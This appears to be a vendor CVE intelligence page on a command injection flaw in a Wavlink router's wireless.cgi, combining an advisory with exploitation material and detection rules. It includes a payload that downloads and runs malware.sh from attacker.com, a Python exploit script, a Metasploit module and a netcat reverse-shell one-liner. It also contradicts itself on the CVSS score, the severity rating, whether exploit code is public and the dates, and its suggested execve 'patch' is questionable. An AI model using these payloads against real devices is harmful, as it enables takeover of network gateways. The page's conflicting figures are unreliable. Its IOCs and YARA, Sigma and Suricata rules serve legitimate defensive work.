☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10358

CVE-2025-10358 OS Command Injection in Wavlink
📅 PUBLISHED: 2025-09-13 08:02 UTC 🔄 UPDATED: 2026-08-18 17:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 6.07%
👁️
6.07% probability
151.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10358 is a critical OS command injection vulnerability discovered in the Wavlink WL-WN578W2 router, specifically in firmware version 221110. The flaw resides in the /cgi-bin/wireless.cgi CGI script, within the function sub_404850. By manipulating the delete_list argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The exploit has been publicly disclosed, and no vendor patch is currently available. This vulnerability poses a severe threat to network integrity, confidentiality, and availability, especially given the device's role as a network gateway.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby) but is a firmware-level issue in an embedded device. The supply chain risk is significant due to the lack of vendor response and the absence of a patch, meaning affected devices remain vulnerable indefinitely unless end-of-life or manual mitigation is applied.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.3 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low - No special conditions are required for exploitation.
  • Privileges Required (PR): None - No authentication is needed.
  • User Interaction (UI): None - The victim does not need to perform any action.
  • Scope (S): Unchanged - The exploit affects only the vulnerable component.
  • Confidentiality (C): High - Full read access to the device's filesystem and network traffic.
  • Integrity (I): High - Full write access, allowing modification of system files and configuration.
  • Availability (A): High - An attacker can crash the device or disrupt network services.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using this device.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the Wavlink router's web management interface. The CGI script /cgi-bin/wireless.cgi handles wireless configuration parameters. The function sub_404850 processes the delete_list parameter, which is intended to specify a list of wireless networks to delete. However, the input is not properly sanitized or escaped before being passed to a system shell command (likely via popen(), system(), or similar).

Attack Flow:

  1. An attacker sends a crafted HTTP POST request to the vulnerable endpoint.
  2. The delete_list parameter contains a malicious payload, such as ; <malicious_command> #.
  3. The CGI script concatenates this input directly into a shell command string.
  4. The shell executes the injected command with the privileges of the web server (typically root on embedded devices).
  5. The attacker gains arbitrary command execution on the device.

Example Payload:

POST /cgi-bin/wireless.cgi HTTP/1.1
Host: <router_ip>
Content-Type: application/x-www-form-urlencoded

delete_list=1; wget http://attacker.com/malware.sh -O /tmp/malware.sh; sh /tmp/malware.sh #

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable code and a secure alternative.

Vulnerable Code (C-like pseudocode):

void sub_404850(char *delete_list) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 del %s", delete_list);
    system(cmd);
}

Patched Code (Secure):

void sub_404850(char *delete_list) {
    // Validate input: only allow alphanumeric and specific delimiters
    if (!is_valid_input(delete_list)) {
        return;
    }
    // Use execve with a whitelist of allowed commands
    char *args[] = {"/sbin/iwconfig", "wlan0", "del", delete_list, NULL};
    execve(args[0], args, NULL);
}

The patched version avoids shell invocation entirely by using execve and validates the input against a strict whitelist.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A Wavlink WL-WN578W2 router with firmware 221110.
  • Network access to the router's web interface (typically on port 80 or 443).
  • A listener for reverse shell or payload delivery.

Exploit Script (Python):

import requests

target = "http://<router_ip>/cgi-bin/wireless.cgi"
payload = "1; id > /tmp/exploit.txt; cat /tmp/exploit.txt #"

data = {"delete_list": payload}
response = requests.post(target, data=data)

print("Response:", response.text)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Wavlink WL-WN578W2 Command Injection',
      'Description' => 'Exploits OS command injection in delete_list parameter',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2025-10358']],
      'Targets'     => [['Automatic', {}]],
      'Payload'     => {'BadChars' => "\x00\x0a\x0d"},
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/cgi-bin/wireless.cgi',
      'data'   => "delete_list=1; #{payload.encoded} #"
    })
  end
end

Lab Setup:

  1. Set up a Wavlink router in an isolated lab network.
  2. Use a tool like nmap to discover the router's IP.
  3. Run the exploit script to verify command execution.
  4. For a reverse shell, use nc -lvnp 4444 on the attacker machine and modify the payload to ; nc <attacker_ip> 4444 -e /bin/sh #.

Blue Team (Defensive)

Detection Steps:

  1. Monitor HTTP POST requests to /cgi-bin/wireless.cgi for suspicious delete_list parameters containing shell metacharacters (;, |, &, `, $()).
  2. Look for outbound connections from the router to unknown IPs on unusual ports (e.g., 4444, 1337).
  3. Check for unexpected processes running on the router (e.g., nc, bash, wget).

Honeypot Configuration:

  • Deploy a low-interaction honeypot mimicking the Wavlink web interface to capture exploit attempts.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /cgi-bin/wireless.cgi with delete_list containing shell metacharacters.
  • Outbound connections from the router to external IPs on ports 4444, 1337, or 8080.
  • DNS queries to known malicious domains (e.g., attacker.com).

File System IOCs:

  • Unexpected files in /tmp/ (e.g., exploit.txt, malware.sh).
  • Modified system binaries (e.g., /bin/sh replaced with a backdoor).
  • New cron jobs or startup scripts.

Process IOCs:

  • Running processes like nc, bash, python, wget, or curl initiated by the web server.

Detection Engineering

YARA Rule

rule CVE_2025_10358_Wavlink_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-10358 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10358"
    strings:
        $payload1 = "delete_list=" ascii wide nocase
        $payload2 = "; " ascii wide
        $payload3 = "| " ascii wide
        $payload4 = "`" ascii wide
        $payload5 = "$(" ascii wide
    condition:
        $payload1 and any of ($payload2, $payload3, $payload4, $payload5)
}

Sigma Rule

title: Wavlink WL-WN578W2 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with suspicious delete_list parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/wireless.cgi'
        cs-uri-query|contains: 'delete_list='
    keywords:
        - '; '
        - '| '
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in network names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10358 Wavlink WL-WN578W2 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/wireless.cgi";
    http_uri;
    content:"delete_list=";
    http_client_body;
    pcre:"/(?:;|\||\x60|\$\().*$/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Device: Disconnect the Wavlink router from the internet and place it on a separate VLAN with strict access controls.
  2. Disable Remote Management: If possible, disable the web management interface from the WAN side.
  3. Monitor Traffic: Implement the provided detection rules to identify any exploitation attempts.

Long-Term Solutions:

  1. Vendor Patch: Since no patch is available, consider replacing the device with a supported alternative.
  2. Firmware Hardening: If the vendor releases a patch, apply it immediately.
  3. Network Segmentation: Use a firewall to restrict access to the router's management interface to trusted IPs only.
  4. IDS/IPS Deployment: Deploy Suricata or Snort with the provided rules to block exploit attempts.

Workaround:

  • If the device cannot be replaced, manually block HTTP POST requests to /cgi-bin/wireless.cgi at the network perimeter using a web application firewall (WAF) or reverse proxy.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10358/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.